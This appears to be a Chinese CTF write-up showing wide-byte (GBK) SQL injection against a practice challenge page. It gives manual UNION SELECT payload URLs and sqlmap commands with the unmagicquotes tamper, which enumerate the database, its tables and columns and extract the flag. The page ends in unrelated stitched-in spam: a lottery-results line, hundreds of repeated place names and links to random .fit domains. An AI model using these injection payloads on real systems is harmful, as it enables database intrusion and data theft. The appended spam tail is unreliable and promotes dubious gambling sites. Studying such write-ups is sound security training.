<sub id="fhvtr"></sub><sub id="fhvtr"></sub>

      <address id="fhvtr"></address>

              <sub id="fhvtr"></sub>

                (宽字节注入) 手注+sqlmap

                进入题目后先简单尝试一下。

                分享图片

                 

                很明显的宽字节注入。

                宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

                手工注入
                1、判断列数:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
                order by 3 时报错,说明只有两列。

                2、各类信息:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
                [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

                3、库名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
                sae-chinalover

                4、表名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,group_concat(table_name)
                from information_schema.tables
                where table_schema=database()%23
                ctf,ctf2,ctf3,ctf4,news

                5、ctf4表的列名:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,group_concat(column_name)
                from information_schema.columns
                where table_name=0x63746634%23
                id,flag

                这里注意:要将表名ctf4转为16进制

                这里提供一个字符串转16进制的网站:

                http://www.5ixuexiwang.com/str/hex.php

                转了16进制之后记得在前面加上0x

                6、flag列的数据:
                http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                union select 2,(select flag from ctf4)%23
                flag{this_is_sqli_flag}

                sqlmap跑法
                1、查看有哪些库:
                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
                这个时侯就要用到一个脚本了:

                脚本名:unmagicquotes.py

                作用:宽字符绕过

                分享图片

                 

                 

                2、表名:

                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

                分享图片

                 

                 

                3、列名:

                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

                 分享图片

                 

                 

                4、flag列的数据:
                sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

                分享图片

                相关文章
                相关标签/搜索
                2020年香港开奖结果2018年香港六合马会开奖结果现场直播开奖历史资料记录在线查询网 富裕县| 阿巴嘎旗| 江孜县| 新兴县| 广平县| 遵化市| 华坪县| 南开区| 扎囊县| 新余市| 来凤县| 璧山县| 景泰县| 原阳县| 秦皇岛市| 资阳市| 盐亭县| 辽阳市| 襄垣县| 诏安县| 磐石市| 牟定县| 尤溪县| 玛多县| 凤阳县| 和平县| 越西县| 大关县| 遂平县| 沅江市| 西乌珠穆沁旗| 浠水县| 安新县| 友谊县| 米林县| 怀远县| 章丘市| 华容县| 保山市| 临洮县| 类乌齐县| 和林格尔县| 崇左市| 玉溪市| 民权县| 乌恰县| 泗水县| 平乡县| 江川县| 于都县| 湖南省| 兴国县| 红河县| 洱源县| 略阳县| 宁明县| 清水县| 萨迦县| 嘉祥县| 闻喜县| 台安县| 含山县| 西盟| 三江| 醴陵市| 南投县| 武鸣县| 琼结县| 达日县| 华坪县| 卢龙县| 白山市| 洮南市| 东阳市| 合肥市| 克东县| 金沙县| 沁水县| 邯郸县| 都江堰市| 霞浦县| 革吉县| 永清县| 许昌市| 临湘市| 盐亭县| 贵阳市| 大足县| 雷波县| 定日县| 仁寿县| 龙游县| 灵台县| 威远县| 漳州市| 大厂| 台南县| 四会市| 武城县| 汶上县| 会同县| 美姑县| 桑植县| 青冈县| 广南县| 台州市| 中阳县| 江油市| 库伦旗| 双流县| 寿光市| 丁青县| 宿松县| 六枝特区| 泸定县| 青神县| 义马市| 红河县| 汉川市| 二连浩特市| 桦川县| 壶关县| 双桥区| 桃园市| 张北县| 汕尾市| 凌源市| 沂南县| 濮阳县| 遂溪县| 古丈县| 德保县| 达州市| 乐业县| 扬州市| 寿阳县| 乐山市| 东宁县| 巩留县| 罗山县| 昌吉市| 阿荣旗| 延吉市| 开远市| 乐东| 双桥区| 凯里市| 清新县| 庆云县| 漳平市| 安国市| 特克斯县| 长泰县| 呼图壁县| 望奎县| 辽源市| 和硕县| 邳州市| 华坪县| 洛浦县| 民勤县| 托克逊县| 布拖县| 台南县| 天水市| 冀州市| 荔波县| 孝昌县| 吉林省| 泽普县| 余姚市| 城步| 香格里拉县| 台前县| 湾仔区| 双城市| 东辽县| 武城县| 东乌珠穆沁旗| 大同市| 枣强县| 体育| 合肥市| 沙田区| 南召县| 大庆市| 舞阳县| 清涧县| 林口县| 连州市| 达尔| 巴林左旗| 武强县| 辽阳市| 巴林左旗| 榆树市| 高淳县| 台北市| 色达县| 潮州市| 北宁市| 南郑县| 马鞍山市| 洞口县| 沿河| 峨边| 广汉市| 南充市| 伊宁市| 兴义市| 江安县| 凤阳县| 东港市| 石门县| 张家界市| 鸡泽县| 陇川县| 上高县| 清原| 鹰潭市| 玛沁县| 藁城市| 临江市| 富阳市| 许昌市| 资溪县| 尤溪县| 开鲁县| 兰州市| 会泽县| 莱阳市| 阜平县| 白玉县| 凉城县| 白朗县| 乐亭县| 北海市| 汉阴县| 吉林市| 德州市| 蓬莱市| 福清市| 盘山县| 大厂| 中方县| 上虞市| 靖州| 赤峰市| 油尖旺区| 神农架林区| 呼玛县| 湖南省| 陕西省| 洪洞县| 明光市| 荥阳市| 保靖县| 潞西市| 灵武市| 从江县| 宁陕县| 平果县| 大石桥市| 松潘县| 江口县| 永新县| 马关县| 鄂尔多斯市| 九寨沟县| 庆阳市| 淳安县| 衡南县| 高要市| 镇远县| 龙陵县| 织金县| 监利县| 黄山市| 安岳县| 友谊县| 潼关县| 乌兰察布市| 江达县| 包头市| 枞阳县| 天柱县| 温泉县| 榆树市| 克什克腾旗| 莱州市| 措美县| 海丰县| 普宁市| 石渠县| 邵东县| 唐山市| 祥云县| 青州市| 历史| 敖汉旗| 余干县| 天柱县| 博客| 云和县| 麟游县| 宜君县| 锡林浩特市| 碌曲县| 调兵山市| 永登县| 黔西县| 凭祥市| 淮北市| 精河县| 宜丰县| 大荔县| 定州市| 东至县| 剑阁县| 新闻| 康乐县| 日土县| 米泉市| 临汾市| 盘锦市| 青阳县| 巴林左旗| 周至县| 德格县| 诏安县| 临海市| 甘肃省| 衢州市| 东明县| 昌宁县| 侯马市| 遂溪县| 庄浪县| 油尖旺区| 奎屯市| 定边县| 祁连县| 沐川县| 祁门县| 博客| 雅江县| 德安县| 盐池县| 洪湖市| 策勒县| 龙泉市| 平南县| 宣汉县| 札达县| 扎囊县| 府谷县| 揭东县| 鹤峰县| 防城港市| 高唐县| 沈丘县| 厦门市| 财经| 任丘市| 陆河县| 富裕县| 红安县| 永川市| 石嘴山市| 牙克石市| 桦南县| 宁德市| 沾化县| 阿城市| 东光县| 彰化县| 黔江区| 获嘉县| 东山县| 贺兰县| 甘洛县| 莱西市| 内丘县| 沅陵县| 镇坪县| 山东| 油尖旺区| 皮山县| 东乌| 雷山县| 沿河| 宁陵县| 建平县| 三江| 阜南县| 金秀| 商水县| 榆社县| 榆中县| 诏安县| 德保县| 永宁县| 柳河县| 赤壁市| 成都市| 历史| 湖南省| 张家港市| 交城县| 桃园市| 麻江县| 抚远县| 德昌县| 繁峙县| 五华县| 友谊县| 梁河县| 锡林郭勒盟| 漾濞| 磴口县| 瑞安市| 韶关市| 嫩江县| 宾川县| 万山特区| 乐昌市| 定南县| 金华市| 抚松县| 伊吾县| 祁阳县| 华阴市| 垦利县| 洛川县| 漳州市| 黔西县| 稷山县| 涿鹿县| 南充市| 鄂伦春自治旗| 栖霞市| 闽清县| 铁岭县| 新晃| 徐闻县| 全南县| 南皮县| 阿图什市| 十堰市| 杨浦区| 聂拉木县| 丰镇市| 济源市| 北流市| 双柏县| 襄垣县| 南陵县| 成武县| 泰和县| 永春县| 宁乡县| 临泉县| 阿拉善左旗| 屏边| 武夷山市| 鄱阳县| 玉树县| 白城市| 顺义区| 苍溪县| 达孜县| 和田市| 深州市| 葫芦岛市| 虞城县| 韶山市| 宁城县| 柯坪县| 霞浦县| 金秀| 嘉兴市| 喀什市| 昌图县| 德钦县| 顺义区| 金门县| 佛冈县| 连山| 泾川县| 伊吾县| 鲁甸县| 富源县| 邯郸县| 西宁市| 句容市| 咸宁市| 武平县| 英吉沙县| 浦城县| 闽清县| 项城市| 田林县| 文安县| 贺州市| 长武县| 云霄县| 石渠县| 友谊县| 原阳县| 营山县| 贞丰县| 百色市| 枣庄市| 阜新市| 新龙县| 遂川县| 星座| 闽清县| 仪征市| 宣威市| 镇赉县| 自治县| 车险| 浮山县| 灵宝市| 浏阳市| 江永县| 济宁市| 新化县| 玉环县| 五台县| 古蔺县| 桐柏县| 花莲市| 四川省| 永清县| 湟中县| 金乡县| 大兴区| 黄山市| 灵山县| 酒泉市| 舒兰市| 闵行区| 大庆市| 富锦市| 中超| 东兰县| 江陵县| 樟树市| 唐海县| 绥江县| 固阳县| 油尖旺区| 定远县| 广安市| 塘沽区| 博野县| 信丰县| 子长县| 黔南| 渭源县| 城步| 景谷| 临潭县| 西和县| 革吉县| 德阳市| 绥化市| 马边| 双牌县| 承德市| 普定县| 库伦旗| 淄博市| 施甸县| 临西县| 宜昌市| 溧阳市| 田林县| 绵阳市| 梅州市| 海阳市| 颍上县| 新安县| 海宁市| 东丽区| 绿春县| 济宁市| 穆棱市| 贞丰县| 绥芬河市| 射洪县| 藁城市| 荆州市| 呼图壁县| 扬中市| 北川| 静海县| 长治市| 龙井市| 平阴县| 富锦市| 大名县| 若羌县| 文昌市| 江永县| 永定县| 古田县| 德化县| 彝良县| 双鸭山市| 札达县| 都安| 瑞安市| http://m.aatrze.fit http://hsbore.fit http://m.zszdah.fit http://m.sqxnot.fit http://wap.qkhtub.fit http://www.hxvnxn.fit http://www.fjzbey.fit http://m.hcwryu.fit http://www.owzlpx.fit http://wap.bm1961xeetz.fit http://wap.spuxat.fit http://uujvuw.fit http://www.abogfb.fit http://www.pnrjbk.fit http://m.gfnavq.fit http://m.jeshee.fit http://m.aoecrm.fit http://m.wwveus.fit